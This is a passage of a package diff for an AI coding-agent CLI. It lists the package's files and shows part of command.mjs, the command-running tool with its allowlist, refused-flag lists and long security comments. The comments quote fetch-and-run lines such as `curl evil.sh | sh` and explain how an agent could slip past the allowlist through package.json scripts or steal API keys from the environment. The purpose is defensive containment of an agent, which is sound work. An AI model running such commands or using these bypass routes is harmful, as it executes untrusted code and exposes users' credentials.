acuvo-code 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +328 -0
- package/ENTERPRISE.md +927 -0
- package/LICENSE +120 -0
- package/README.md +1245 -0
- package/ROADMAP.md +556 -0
- package/bin/acuvo-mcp.mjs +208 -0
- package/bin/acuvo.mjs +3108 -0
- package/lib/acceptance-consent.mjs +168 -0
- package/lib/acceptance.mjs +859 -0
- package/lib/account.mjs +226 -0
- package/lib/acuvo-dir.mjs +72 -0
- package/lib/acuvo-models.mjs +141 -0
- package/lib/apply-patch.mjs +570 -0
- package/lib/ask-user.mjs +173 -0
- package/lib/audit.mjs +530 -0
- package/lib/auto-lease.mjs +174 -0
- package/lib/background.mjs +842 -0
- package/lib/best-of.mjs +334 -0
- package/lib/board.mjs +232 -0
- package/lib/breaker.mjs +93 -0
- package/lib/budget.mjs +1375 -0
- package/lib/builtin-skills.mjs +135 -0
- package/lib/cache-floor.mjs +204 -0
- package/lib/chain.mjs +303 -0
- package/lib/changed-paths.mjs +84 -0
- package/lib/chat.mjs +434 -0
- package/lib/checkpoint.mjs +637 -0
- package/lib/child-lifetime.mjs +71 -0
- package/lib/cli-args.mjs +1255 -0
- package/lib/code-review.mjs +1382 -0
- package/lib/colour.mjs +82 -0
- package/lib/command.mjs +2847 -0
- package/lib/compact.mjs +1151 -0
- package/lib/completion.mjs +515 -0
- package/lib/creative-engines.mjs +779 -0
- package/lib/db-inspect.mjs +1624 -0
- package/lib/delete.mjs +111 -0
- package/lib/design-loop.mjs +570 -0
- package/lib/diff-preview.mjs +1044 -0
- package/lib/doctor.mjs +2139 -0
- package/lib/dropped.mjs +216 -0
- package/lib/edit-diagnostics.mjs +277 -0
- package/lib/edit.mjs +460 -0
- package/lib/env-file.mjs +250 -0
- package/lib/escalate.mjs +702 -0
- package/lib/evaluate.mjs +284 -0
- package/lib/fetch-text.mjs +952 -0
- package/lib/fleet-budget.mjs +256 -0
- package/lib/gh.mjs +1536 -0
- package/lib/git.mjs +1341 -0
- package/lib/github.mjs +261 -0
- package/lib/h2.mjs +194 -0
- package/lib/handoff.mjs +417 -0
- package/lib/hooks.mjs +626 -0
- package/lib/http-probe.mjs +907 -0
- package/lib/image-director.mjs +322 -0
- package/lib/image-edit.mjs +522 -0
- package/lib/imagegen.mjs +998 -0
- package/lib/interrupt.mjs +234 -0
- package/lib/learned.mjs +353 -0
- package/lib/lease-watch.mjs +115 -0
- package/lib/lease.mjs +868 -0
- package/lib/localize.mjs +834 -0
- package/lib/log-tail.mjs +1052 -0
- package/lib/login.mjs +157 -0
- package/lib/lsp.mjs +1613 -0
- package/lib/mcp-consent.mjs +377 -0
- package/lib/mcp-defaults.mjs +780 -0
- package/lib/mcp-server.mjs +1343 -0
- package/lib/mcp.mjs +1263 -0
- package/lib/media.mjs +1283 -0
- package/lib/memory-workspace.mjs +179 -0
- package/lib/model-json.mjs +132 -0
- package/lib/model-tier.mjs +171 -0
- package/lib/model.mjs +1445 -0
- package/lib/parallel.mjs +144 -0
- package/lib/perchance.mjs +210 -0
- package/lib/plan-coherence.mjs +1461 -0
- package/lib/plan-ledger.mjs +981 -0
- package/lib/plan.mjs +461 -0
- package/lib/policy.mjs +783 -0
- package/lib/prefix-order.mjs +38 -0
- package/lib/project-memory.mjs +127 -0
- package/lib/prompt.mjs +109 -0
- package/lib/python.mjs +862 -0
- package/lib/rcfile.mjs +853 -0
- package/lib/read-window.mjs +743 -0
- package/lib/refute-tools.mjs +34 -0
- package/lib/refute.mjs +806 -0
- package/lib/repl-driver.mjs +264 -0
- package/lib/repl.mjs +324 -0
- package/lib/replay.mjs +1218 -0
- package/lib/repo-map.mjs +1101 -0
- package/lib/report.mjs +419 -0
- package/lib/search-rank.mjs +99 -0
- package/lib/search.mjs +659 -0
- package/lib/secret-paths.mjs +54 -0
- package/lib/session.mjs +1017 -0
- package/lib/skills.mjs +703 -0
- package/lib/slash.mjs +356 -0
- package/lib/spawn-argv.mjs +1151 -0
- package/lib/spend.mjs +250 -0
- package/lib/steer.mjs +280 -0
- package/lib/stream.mjs +253 -0
- package/lib/stuck.mjs +712 -0
- package/lib/subagent.mjs +749 -0
- package/lib/terminal-graphics.mjs +171 -0
- package/lib/tool-prefix.mjs +226 -0
- package/lib/tool-shortlist.mjs +162 -0
- package/lib/tools.mjs +2333 -0
- package/lib/tsserver.mjs +423 -0
- package/lib/turn.mjs +5672 -0
- package/lib/untrusted-block.mjs +271 -0
- package/lib/verify-claim.mjs +299 -0
- package/lib/vision.mjs +330 -0
- package/lib/voice-task.mjs +561 -0
- package/lib/warm-provider.mjs +255 -0
- package/lib/websearch.mjs +401 -0
- package/lib/workspace.mjs +928 -0
- package/lib/write-approval.mjs +235 -0
- package/lib/write-many.mjs +162 -0
- package/package.json +62 -0
- package/scripts/bundle.mjs +768 -0
- package/scripts/cache-floor.mjs +176 -0
- package/scripts/machine.mjs +226 -0
- package/scripts/test.mjs +139 -0
- package/skills/accessibility.md +87 -0
- package/skills/acuvo-design-system.md +123 -0
- package/skills/animation.md +84 -0
- package/skills/api-design.md +82 -0
- package/skills/auth-and-sessions.md +78 -0
- package/skills/build-with-a-framework.md +101 -0
- package/skills/colour-and-contrast.md +112 -0
- package/skills/creative-engines.md +81 -0
- package/skills/css-layout.md +85 -0
- package/skills/data-and-charts.md +77 -0
- package/skills/debugging.md +76 -0
- package/skills/designing-by-looking.md +84 -0
- package/skills/error-handling.md +78 -0
- package/skills/forms-and-validation.md +93 -0
- package/skills/nextjs-app-router.md +75 -0
- package/skills/page-composition.md +103 -0
- package/skills/performance.md +77 -0
- package/skills/plan-before-building.md +52 -0
- package/skills/planning-and-delegating.md +72 -0
- package/skills/refactoring.md +70 -0
- package/skills/security-basics.md +76 -0
- package/skills/state-management.md +73 -0
- package/skills/supabase-multitenant.md +72 -0
- package/skills/typescript-strict.md +90 -0
- package/skills/typography.md +135 -0
- package/skills/verify-your-own-work.md +62 -0
- package/skills/web-app-quality.md +62 -0
- package/skills/working-in-the-background.md +64 -0
package/lib/command.mjs
ADDED
|
@@ -0,0 +1,2847 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* RUN_COMMAND — the tool that turns "writes code" into "ships working code",
|
|
3
|
+
* and the single most dangerous line in this package.
|
|
4
|
+
*
|
|
5
|
+
* ── ⚠️ WHAT THIS ALLOWLIST ACTUALLY BUYS, STATED HONESTLY ───────────────────
|
|
6
|
+
* It is tempting to describe this file as a sandbox. It is not one, and saying
|
|
7
|
+
* so would be the exact dishonesty the rest of the package is built to avoid.
|
|
8
|
+
* `node src/thing.js`, where a language model wrote `src/thing.js` thirty
|
|
9
|
+
* seconds ago, IS arbitrary code execution — by construction, and unavoidably,
|
|
10
|
+
* because running the code is the entire point of a run-and-fix loop.
|
|
11
|
+
*
|
|
12
|
+
* So here is the real boundary, in the order it matters:
|
|
13
|
+
*
|
|
14
|
+
* 1. THE AGENT CANNOT COMPOSE A COMMAND. No shell is ever involved
|
|
15
|
+
* (`shell: false`, always), and on top of that every shell metacharacter
|
|
16
|
+
* is refused by a CHARACTER WHITELIST — so `npm test && curl evil.sh | sh`
|
|
17
|
+
* dies at the `&`, not at some blacklist of program names. `$(...)`,
|
|
18
|
+
* backticks, `;`, `>`, newlines and quotes die the same way.
|
|
19
|
+
* 2. THE AGENT CANNOT PICK A PROGRAM. Four binaries by default, named here.
|
|
20
|
+
* `rm`, `curl`, `git`, `powershell`, `pip` and every other executable on
|
|
21
|
+
* the machine are simply not reachable — there is no path from a model
|
|
22
|
+
* string to `spawn` of anything except node, npm, npx and tsc.
|
|
23
|
+
*
|
|
24
|
+
* ⚠️ AND THE ONE WAY THAT LIST CHANGES, STATED HERE SO NOBODY HAS TO FIND
|
|
25
|
+
* IT: a HUMAN may add ecosystems — `pytest`, `go`, `cargo`, `rspec`,
|
|
26
|
+
* `make`, workspace `eslint` — through `.acuvo/commands.json` or
|
|
27
|
+
* `ACUVO_ALLOW_COMMANDS`. Nothing is added by default; a user who writes no
|
|
28
|
+
* configuration gets exactly the four. Every added binary goes through the
|
|
29
|
+
* SAME character whitelist, the SAME flag whitelist, the SAME workspace
|
|
30
|
+
* path rule and the SAME environment scrub. The workspace file can only
|
|
31
|
+
* pick from a vetted menu of build-and-test drivers, because the agent can
|
|
32
|
+
* write that file; an arbitrary program name is admin-only. **A shell is
|
|
33
|
+
* refused at every layer, including the admin one** — a shell returns
|
|
34
|
+
* promise (1), which every other guard here is built on top of. See
|
|
35
|
+
* `COMMAND_PRESETS` for the full argument, including what enabling a
|
|
36
|
+
* preset does NOT buy: `make` still reads a Makefile the agent can write,
|
|
37
|
+
* and that is documented rather than pretended away.
|
|
38
|
+
* 3. THE ARGUMENTS ARE CHECKED, NOT JUST THE BINARY. `node --eval` and
|
|
39
|
+
* `npx <anything-from-the-registry>` are the two obvious escapes and both
|
|
40
|
+
* are closed; every non-flag token must pass the SAME workspace path rule
|
|
41
|
+
* the file tools use, so `node ../../../etc/thing.js` never runs.
|
|
42
|
+
* 4. THE CREDENTIALS LEAVE THE ROOM. The child gets a scrubbed environment,
|
|
43
|
+
* because step 1–3 still leave a process that can `fetch()`, and the
|
|
44
|
+
* cheapest catastrophe available to a coding agent is reading your API
|
|
45
|
+
* keys out of `process.env` and posting them somewhere.
|
|
46
|
+
* 5. IT IS BOUNDED AND VISIBLE. One command, one timeout, capped output,
|
|
47
|
+
* cwd pinned to the workspace, and every single thing it ran is printed.
|
|
48
|
+
*
|
|
49
|
+
* ⚠️ AND THE HOLE THAT IS *NOT* CLOSED, NAMED RATHER THAN HIDDEN: the code the
|
|
50
|
+
* command runs can do anything Node can do, including writing outside the
|
|
51
|
+
* workspace. The mitigation is not a technical one — it is that the code is ON
|
|
52
|
+
* DISK, was written by tools that could not leave the workspace, and is shown
|
|
53
|
+
* to you. `--dry-run` refuses to run anything at all, which is the escape hatch
|
|
54
|
+
* for a task you do not trust yet.
|
|
55
|
+
*
|
|
56
|
+
* ── THE TRAP THAT MAKES THIS MORE THAN A LIST OF BINARY NAMES ───────────────
|
|
57
|
+
* `npm test` is on the allowlist. `npm test` runs whatever `package.json` says
|
|
58
|
+
* — and `package.json` is a file THIS AGENT CAN WRITE. An allowlist that stops
|
|
59
|
+
* at the word "npm" therefore allows `{"scripts":{"test":"curl evil.sh | sh"}}`
|
|
60
|
+
* followed by `npm test`, which is a full bypass in two tool calls that both
|
|
61
|
+
* look innocent. So the script BODY is read and validated through the same
|
|
62
|
+
* rules before npm is spawned, and so are its `pre`/`post` hooks, which npm
|
|
63
|
+
* runs without being asked.
|
|
64
|
+
*/
|
|
65
|
+
|
|
66
|
+
import { spawn } from 'node:child_process';
|
|
67
|
+
import { existsSync } from 'node:fs';
|
|
68
|
+
import { dirname, join } from 'node:path';
|
|
69
|
+
|
|
70
|
+
import { normalizeRelativePath } from './workspace.mjs';
|
|
71
|
+
/**
|
|
72
|
+
* ── ⭐⭐⭐ THE PYTHON GRAMMAR, WHICH WAS WRITTEN AND THEN IMPORTED BY NOBODY ──
|
|
73
|
+
*
|
|
74
|
+
* `lib/python.mjs` is 862 lines, complete, tested, and was reachable from no
|
|
75
|
+
* entry point — `wiring-reach.test.mjs` had been failing on it, saying exactly
|
|
76
|
+
* what that means: *"a capability nobody can reach has not shipped."*
|
|
77
|
+
*
|
|
78
|
+
* Its own header states the measurement that produced it: on the 13-task bench
|
|
79
|
+
* the ONE failure was a Python task, and it did not fail on reasoning. The model
|
|
80
|
+
* fixed the bug correctly, went to run `pytest`, and `pytest -q` was refused.
|
|
81
|
+
* *"A coding agent that can only run JavaScript is a JavaScript agent with a
|
|
82
|
+
* coding agent's marketing."*
|
|
83
|
+
*
|
|
84
|
+
* ⭐ AND THE PRESET BELOW WAS NOT A SMALLER VERSION OF IT — IT WAS WRONG.
|
|
85
|
+
* `PYTHON_GRAMMAR` validated everything after `-m` against the INTERPRETER's
|
|
86
|
+
* flag list, but CPython stops parsing its own options at `-m`: everything after
|
|
87
|
+
* the module name belongs to the MODULE. So `python -m pytest -q` — the single
|
|
88
|
+
* most typed command in Python testing, and the exact one the bench needed — was
|
|
89
|
+
* refused with "-q is not an allowed python flag", which is the worst class of
|
|
90
|
+
* guard there is: one that refuses correct work with a message that reads like a
|
|
91
|
+
* rule.
|
|
92
|
+
*/
|
|
93
|
+
import { PYTHON_PRESET_GRAMMAR, validatePythonArgv } from './python.mjs';
|
|
94
|
+
|
|
95
|
+
/** A command longer than this is not a command, it is a program. */
|
|
96
|
+
export const MAX_COMMAND_LENGTH = 240;
|
|
97
|
+
export const MAX_COMMAND_TOKENS = 16;
|
|
98
|
+
/** Long enough for a real test suite on a cold cache, short enough that a hung
|
|
99
|
+
* watcher costs a minute rather than a session. */
|
|
100
|
+
export const DEFAULT_COMMAND_TIMEOUT_MS = 120_000;
|
|
101
|
+
export const MAX_COMMAND_TIMEOUT_MS = 600_000;
|
|
102
|
+
/** Per stream, per run. Test output is unbounded and the model pays per token. */
|
|
103
|
+
export const MAX_CAPTURED_CHARS = 8_000;
|
|
104
|
+
/**
|
|
105
|
+
* ⚠️ HOW LONG WE WAIT FOR THE PIPES AFTER THE PROCESS IS ALREADY GONE.
|
|
106
|
+
*
|
|
107
|
+
* Not a second timeout — a settle window. See `spawnBounded`: `close` needs EOF
|
|
108
|
+
* on the captured pipes as well as process exit, and a surviving descendant can
|
|
109
|
+
* withhold that EOF forever. This is how long we give the normal, correct settle
|
|
110
|
+
* to arrive before we return what we have anyway. Short enough to be invisible
|
|
111
|
+
* on a healthy run (where `close` beats it by microseconds), long enough that a
|
|
112
|
+
* killed test runner's last few lines still make it into the result.
|
|
113
|
+
*/
|
|
114
|
+
export const TIMEOUT_SETTLE_GRACE_MS = 750;
|
|
115
|
+
|
|
116
|
+
/**
|
|
117
|
+
* The four. Not a starting point — a decision, and it is the DEFAULT surface:
|
|
118
|
+
* what a user who has written no configuration gets.
|
|
119
|
+
*
|
|
120
|
+
* ⚠️ IT DOES NOT GROW. Every other ecosystem below is shipped as an OFF-by-
|
|
121
|
+
* default preset, and the reason is a concrete property of these four rather
|
|
122
|
+
* than a preference: **none of them resolves through `PATH`.** `node` is
|
|
123
|
+
* `process.execPath` — the interpreter already running this process. `npm` and
|
|
124
|
+
* `npx` are JavaScript files found next to that binary. `tsc` is a file inside
|
|
125
|
+
* the workspace's own `node_modules`. A `python` or a `make` cannot be found
|
|
126
|
+
* that way; it is whatever `PATH` says it is on the day the command runs, which
|
|
127
|
+
* is a materially weaker statement, and it is the human's to make, not ours.
|
|
128
|
+
*/
|
|
129
|
+
export const ALLOWED_BINARIES = ['node', 'npm', 'npx', 'tsc'];
|
|
130
|
+
|
|
131
|
+
/**
|
|
132
|
+
* ── ⚠️⭐ `--shell`: THE CEILING, AND WHAT IT COSTS TO RAISE IT ──────────────
|
|
133
|
+
*
|
|
134
|
+
* MEASURED, not assumed: the allowlist is this agent's benchmark ceiling. On
|
|
135
|
+
* our own `polyglot` bench task it fixed a Python bug correctly, then could not
|
|
136
|
+
* run `pytest`, and — correctly — **did not grant itself permission**. It
|
|
137
|
+
* verified another way and stopped. Terminal-Bench is largely made of tasks
|
|
138
|
+
* shaped exactly like that, so with the allowlist alone most of it is
|
|
139
|
+
* unreachable by construction, however good the loop is.
|
|
140
|
+
*
|
|
141
|
+
* ⭐ SO THE SHELL IS OPT-IN AND THE LOCKED DEFAULT SURVIVES INTACT. That is the
|
|
142
|
+
* whole point of the flag: "it can only run node, npm, npx and tsc" stays TRUE
|
|
143
|
+
* of the default install, so the sentence we sell to an enterprise is still a
|
|
144
|
+
* fact rather than a fact-with-an-asterisk. Someone who needs the rest opts in
|
|
145
|
+
* per run, deliberately, and sees it said back to them.
|
|
146
|
+
*
|
|
147
|
+
* ⚠️ WHAT IT REALLY MEANS, WRITTEN PLAINLY: with `--shell` this agent can run
|
|
148
|
+
* ANY program on the machine, with the caller's own privileges. `rm -rf`, curl,
|
|
149
|
+
* ssh, a package install, an outbound POST of the entire workspace. There is no
|
|
150
|
+
* clever middle setting, and pretending otherwise is worse than the risk: a
|
|
151
|
+
* blocklist of "dangerous" patterns would be trivially bypassable and would
|
|
152
|
+
* teach the operator that the mode is safer than it is.
|
|
153
|
+
*
|
|
154
|
+
* ⚠️ THE GUARANTEES THAT DO SURVIVE, because they cost nothing to keep:
|
|
155
|
+
* · cwd is the workspace · the API key is still scrubbed from the child env
|
|
156
|
+
* · the timeout still fires and still kills the whole process TREE
|
|
157
|
+
* · every command is still written to the audit log, before it runs
|
|
158
|
+
* What is gone is the allowlist and the metacharacter ban. Nothing else.
|
|
159
|
+
*/
|
|
160
|
+
export const SHELL_MAX_COMMAND_LENGTH = 4_000;
|
|
161
|
+
|
|
162
|
+
/**
|
|
163
|
+
* Build the argv that hands a command line to the platform's shell.
|
|
164
|
+
*
|
|
165
|
+
* ⚠️ THE SHELL IS INVOKED AS A PROGRAM, RATHER THAN VIA `shell: true`. Node's
|
|
166
|
+
* `shell: true` composes the command line itself and would put a second layer
|
|
167
|
+
* of quoting between the model's text and the shell — and on Windows it also
|
|
168
|
+
* loses the process-group handle the tree-kill depends on. Spawning
|
|
169
|
+
* `sh -c <command>` keeps `spawnBounded` byte-for-byte as it is, so the
|
|
170
|
+
* timeout, the tree kill, the env scrub and the output caps all still apply.
|
|
171
|
+
*/
|
|
172
|
+
export function buildShellInvocation(command, { platform = process.platform, env = process.env } = {}) {
|
|
173
|
+
const line = String(command ?? '').trim();
|
|
174
|
+
if (!line) return { ok: false, error: 'run_command needs a command to run' };
|
|
175
|
+
if (line.length > SHELL_MAX_COMMAND_LENGTH) {
|
|
176
|
+
return { ok: false, error: `that command is ${line.length} characters; the limit is ${SHELL_MAX_COMMAND_LENGTH}. Put a long pipeline in a script file and run the file.` };
|
|
177
|
+
}
|
|
178
|
+
if (platform === 'win32') {
|
|
179
|
+
/**
|
|
180
|
+
* ⚠️ `/d` DISABLES AutoRun. Without it, cmd.exe executes whatever is in
|
|
181
|
+
* `HKCU\\Software\\Microsoft\\Command Processor\\AutoRun` BEFORE our command
|
|
182
|
+
* — someone else's script running inside what the audit log records as ours.
|
|
183
|
+
*/
|
|
184
|
+
return { ok: true, file: env.ComSpec || 'cmd.exe', args: ['/d', '/s', '/c', line] };
|
|
185
|
+
}
|
|
186
|
+
return { ok: true, file: env.SHELL && /(^|\/)(ba|z|)sh$/.test(env.SHELL) ? env.SHELL : '/bin/sh', args: ['-c', line] };
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
/**
|
|
190
|
+
* ── ⭐⭐ THE POLYGLOT PRESETS — WHAT THIS SOLVES AND WHAT IT REFUSES TO ──────
|
|
191
|
+
*
|
|
192
|
+
* `ENTERPRISE.md` §5.1 states the defect in the vendor's own words: a Python,
|
|
193
|
+
* Go, Rust, Java or Ruby shop "cannot execute a single test with this tool",
|
|
194
|
+
* so the run→fix loop — the entire product — degrades to "writes files and
|
|
195
|
+
* cannot check them". That is not a missing nicety. It is the loop being
|
|
196
|
+
* unavailable to most of the world's repositories.
|
|
197
|
+
*
|
|
198
|
+
* ── ⚠️ THE QUESTION THAT DECIDES THE DESIGN: WHAT WAS THE BOUNDARY, REALLY? ─
|
|
199
|
+
*
|
|
200
|
+
* The header above already concedes the big one: `node src/thing.js`, where a
|
|
201
|
+
* model wrote `src/thing.js` thirty seconds ago, IS arbitrary code execution.
|
|
202
|
+
* So the boundary was never "the agent cannot execute code". It is three
|
|
203
|
+
* narrower promises, and they are the ones that must survive:
|
|
204
|
+
*
|
|
205
|
+
* 1. the agent cannot COMPOSE a command (no shell, character whitelist)
|
|
206
|
+
* 2. the agent cannot PICK a program (a list a human agreed to)
|
|
207
|
+
* 3. the agent cannot reach a CREDENTIAL (the environment scrub)
|
|
208
|
+
*
|
|
209
|
+
* A preset extends (2) — from four programs to a menu of build-and-test drivers
|
|
210
|
+
* — and touches neither (1) nor (3). That is why adding `pytest` is a different
|
|
211
|
+
* act from adding `bash`: `bash` hands back (1), which is the promise every
|
|
212
|
+
* other guard in this file is written on top of. So a shell is refused even to
|
|
213
|
+
* an administrator, and that refusal is the one hard line here.
|
|
214
|
+
*
|
|
215
|
+
* ── ⚠️⚠️ THE TRAP, NAMED RATHER THAN PAPERED OVER ──────────────────────────
|
|
216
|
+
*
|
|
217
|
+
* `make` reads a Makefile the agent can write. `pytest` imports a `conftest.py`
|
|
218
|
+
* the agent can write. `cargo test` compiles a `build.rs` the agent can write.
|
|
219
|
+
* `go test` will fetch and compile modules. **None of these is validated, and
|
|
220
|
+
* none of them can be honestly validated by this file.**
|
|
221
|
+
*
|
|
222
|
+
* The npm gate below is possible for one reason: a `package.json` script body
|
|
223
|
+
* is a single command string in a machine-readable field, so it can be run back
|
|
224
|
+
* through the same validator. A Makefile recipe is *shell*. Validating it means
|
|
225
|
+
* writing a shell parser, and a partial shell parser that waves through what it
|
|
226
|
+
* does not understand is exactly the thing this file already refuses to build
|
|
227
|
+
* (see `ALLOWED_SCRIPT_BINARIES` on why npm→npm chains are refused rather than
|
|
228
|
+
* followed). So the honest position, written down rather than implied:
|
|
229
|
+
*
|
|
230
|
+
* **Enabling a preset does not weaken the boundary, because the boundary was
|
|
231
|
+
* never "the agent cannot run code it wrote" — `node <file>` already grants
|
|
232
|
+
* that, on the default surface, to every user. What a preset grants is one
|
|
233
|
+
* more INTERPRETER for code that is already on disk and already reviewable.**
|
|
234
|
+
*
|
|
235
|
+
* ⭐ And the mitigation is unchanged and real: the code is ON DISK, it was
|
|
236
|
+
* written by tools that could not leave the workspace, it is shown to you, and
|
|
237
|
+
* `--dry-run` refuses to execute anything at all.
|
|
238
|
+
*
|
|
239
|
+
* ⚠️ WHAT IS DELIBERATELY NOT ON THE MENU, and why each is a different class:
|
|
240
|
+
* · shells (`bash`, `sh`, `cmd`, `powershell`) — they return promise (1).
|
|
241
|
+
* · package installers (`pip install`, `bundle install`, `cargo install`,
|
|
242
|
+
* `go install`) — they fetch a stranger's code and run its build hooks,
|
|
243
|
+
* which is the same refusal `npm install` already gets, for the same reason.
|
|
244
|
+
* · anything whose argument grammar we cannot state. An ungoverned binary is
|
|
245
|
+
* not on the menu; see the `grammar` map — a preset binary with no spec is
|
|
246
|
+
* a test failure, not a silent pass.
|
|
247
|
+
*/
|
|
248
|
+
|
|
249
|
+
/**
|
|
250
|
+
* A grammar for one binary. Every field is the SAME shape the existing four are
|
|
251
|
+
* validated with, so a preset binary is not checked by a second, laxer path.
|
|
252
|
+
*
|
|
253
|
+
* @typedef {{
|
|
254
|
+
* flags?: Set<string>,
|
|
255
|
+
* valueFlags?: Set<string>,
|
|
256
|
+
* separateValueFlags?: Map<string, Set<string> | RegExp>,
|
|
257
|
+
* refused?: Map<string, string>,
|
|
258
|
+
* subcommands?: Set<string> | null,
|
|
259
|
+
* refusedSubcommands?: Map<string, string>,
|
|
260
|
+
* packagePatterns?: boolean,
|
|
261
|
+
* delegates?: boolean,
|
|
262
|
+
* resolve?: 'path' | 'node-module',
|
|
263
|
+
* nodeModule?: string[],
|
|
264
|
+
* }} BinaryGrammar
|
|
265
|
+
*/
|
|
266
|
+
|
|
267
|
+
const WATCHER_REASON = 'a watcher never exits, so it would spend the whole timeout and return nothing';
|
|
268
|
+
const EVAL_REASON = 'code passed on the command line is never written to disk, so nothing it did can be reviewed afterwards';
|
|
269
|
+
const INTERACTIVE_REASON = 'an interactive prompt never exits, so it would spend the whole timeout and return nothing';
|
|
270
|
+
const REGISTRY_REASON = 'it downloads and executes code from a package registry, which is the one thing an allowlist of programs cannot check';
|
|
271
|
+
|
|
272
|
+
/**
|
|
273
|
+
* ⚠️ `python` AND `python3` ARE THE SAME PROGRAM WITH TWO NAMES, and giving one
|
|
274
|
+
* of them a grammar and the other nothing is how an "allowed" binary ends up
|
|
275
|
+
* accepting no arguments at all. Caught by a test on the first run: `python3 -V`
|
|
276
|
+
* was refused with "allowed: " and an empty list, which is a defect that reads
|
|
277
|
+
* like a rule.
|
|
278
|
+
*/
|
|
279
|
+
const PYTHON_GRAMMAR = {
|
|
280
|
+
flags: new Set(['-V', '--version', '-B', '-u', '-W', '-O']),
|
|
281
|
+
separateValueFlags: new Map([['-m', new Set(['pytest', 'unittest', 'compileall', 'json.tool'])]]),
|
|
282
|
+
refused: new Map([
|
|
283
|
+
['-c', EVAL_REASON],
|
|
284
|
+
['-i', INTERACTIVE_REASON],
|
|
285
|
+
['-', 'a lone "-" reads the program from stdin, which is code that never touches disk'],
|
|
286
|
+
]),
|
|
287
|
+
resolve: 'path',
|
|
288
|
+
};
|
|
289
|
+
|
|
290
|
+
/** @type {Record<string, { describe: string, binaries: string[], grammar: Record<string, BinaryGrammar> }>} */
|
|
291
|
+
export const COMMAND_PRESETS = {
|
|
292
|
+
/**
|
|
293
|
+
* ⭐ EVERY PYTHON BINARY DELEGATES TO `validatePythonArgv`, and the marker is
|
|
294
|
+
* `pythonic`. The generic `validateOperands` cannot express "argument
|
|
295
|
+
* authority transfers at `-m`" — that is not a flag it is missing, it is a
|
|
296
|
+
* shape it has no way to describe — so the dispatcher routes these binaries
|
|
297
|
+
* to the grammar written for them.
|
|
298
|
+
*
|
|
299
|
+
* ⚠️ `py` IS NEW AND IT IS NOT COSMETIC. On Windows, the platform this package
|
|
300
|
+
* is developed on, python.org's installer puts `py.exe` on PATH and often does
|
|
301
|
+
* not put `python.exe` there at all. Refusing `py` was refusing Python on the
|
|
302
|
+
* developer's own laptop.
|
|
303
|
+
*/
|
|
304
|
+
python: {
|
|
305
|
+
describe: PYTHON_PRESET_GRAMMAR.describe,
|
|
306
|
+
binaries: [...PYTHON_PRESET_GRAMMAR.binaries],
|
|
307
|
+
grammar: Object.fromEntries(
|
|
308
|
+
PYTHON_PRESET_GRAMMAR.binaries.map((bin) => [bin, { pythonic: true, resolve: 'path' }]),
|
|
309
|
+
),
|
|
310
|
+
},
|
|
311
|
+
go: {
|
|
312
|
+
describe: 'the Go toolchain — `go test ./...`, `go build ./...`, `go vet ./...`',
|
|
313
|
+
binaries: ['go'],
|
|
314
|
+
grammar: {
|
|
315
|
+
go: {
|
|
316
|
+
subcommands: new Set(['test', 'build', 'vet', 'fmt', 'version']),
|
|
317
|
+
refusedSubcommands: new Map([
|
|
318
|
+
['install', REGISTRY_REASON],
|
|
319
|
+
['get', REGISTRY_REASON],
|
|
320
|
+
['run', 'use `go build` then run the binary, so what executed is a file on disk you can look at'],
|
|
321
|
+
['generate', 'it executes directives written in source comments, which is a second command layer this validator cannot see'],
|
|
322
|
+
]),
|
|
323
|
+
flags: new Set(['-v', '-race', '-short', '-json', '-cover', '-count=1', '-n']),
|
|
324
|
+
valueFlags: new Set(['-run', '-count', '-timeout', '-tags', '-o', '-bench']),
|
|
325
|
+
separateValueFlags: new Map([['-run', /^[A-Za-z0-9_/^$|.*?()-]+$/], ['-timeout', /^[0-9]+[smh]?$/], ['-count', /^[0-9]+$/]]),
|
|
326
|
+
packagePatterns: true,
|
|
327
|
+
resolve: 'path',
|
|
328
|
+
},
|
|
329
|
+
},
|
|
330
|
+
},
|
|
331
|
+
rust: {
|
|
332
|
+
describe: 'Cargo — `cargo test`, `cargo build --release`, `cargo clippy`',
|
|
333
|
+
binaries: ['cargo'],
|
|
334
|
+
grammar: {
|
|
335
|
+
cargo: {
|
|
336
|
+
subcommands: new Set(['test', 'build', 'check', 'clippy', 'fmt', 'bench', 'version']),
|
|
337
|
+
refusedSubcommands: new Map([
|
|
338
|
+
['install', REGISTRY_REASON],
|
|
339
|
+
['add', REGISTRY_REASON],
|
|
340
|
+
['publish', 'it uploads this crate to a public registry, which is not a step an agent takes unattended'],
|
|
341
|
+
['watch', WATCHER_REASON],
|
|
342
|
+
['run', 'use `cargo build` then run the binary, so what executed is a file on disk you can look at'],
|
|
343
|
+
]),
|
|
344
|
+
flags: new Set(['--release', '--quiet', '-q', '--all-features', '--no-default-features', '--lib', '--bins', '--tests', '--all-targets', '--workspace', '--locked', '--offline', '--verbose']),
|
|
345
|
+
valueFlags: new Set(['--package', '--manifest-path', '--target', '--features', '--test', '--bin']),
|
|
346
|
+
separateValueFlags: new Map([['--package', /^[A-Za-z0-9_-]+$/], ['-p', /^[A-Za-z0-9_-]+$/]]),
|
|
347
|
+
resolve: 'path',
|
|
348
|
+
},
|
|
349
|
+
},
|
|
350
|
+
},
|
|
351
|
+
ruby: {
|
|
352
|
+
describe: 'Ruby, RSpec and `bundle exec` — `rspec`, `ruby test/run.rb`',
|
|
353
|
+
binaries: ['ruby', 'rspec', 'bundle'],
|
|
354
|
+
grammar: {
|
|
355
|
+
ruby: {
|
|
356
|
+
flags: new Set(['-v', '--version', '-w', '--verbose']),
|
|
357
|
+
refused: new Map([
|
|
358
|
+
['-e', EVAL_REASON],
|
|
359
|
+
['-r', '--require preloads a module the command does not name; write a file and run it instead'],
|
|
360
|
+
['--require', '--require preloads a module the command does not name; write a file and run it instead'],
|
|
361
|
+
['-n', 'the implicit loop wraps your script in code that is not in the file'],
|
|
362
|
+
]),
|
|
363
|
+
resolve: 'path',
|
|
364
|
+
},
|
|
365
|
+
rspec: {
|
|
366
|
+
flags: new Set(['--no-color', '--fail-fast', '--dry-run', '--backtrace', '-b']),
|
|
367
|
+
valueFlags: new Set(['--format', '-f', '--out', '--seed', '--example', '-e', '--tag', '-t']),
|
|
368
|
+
separateValueFlags: new Map([['--format', /^[A-Za-z0-9_.:-]+$/], ['-f', /^[A-Za-z0-9_.:-]+$/]]),
|
|
369
|
+
resolve: 'path',
|
|
370
|
+
},
|
|
371
|
+
bundle: {
|
|
372
|
+
subcommands: new Set(['exec']),
|
|
373
|
+
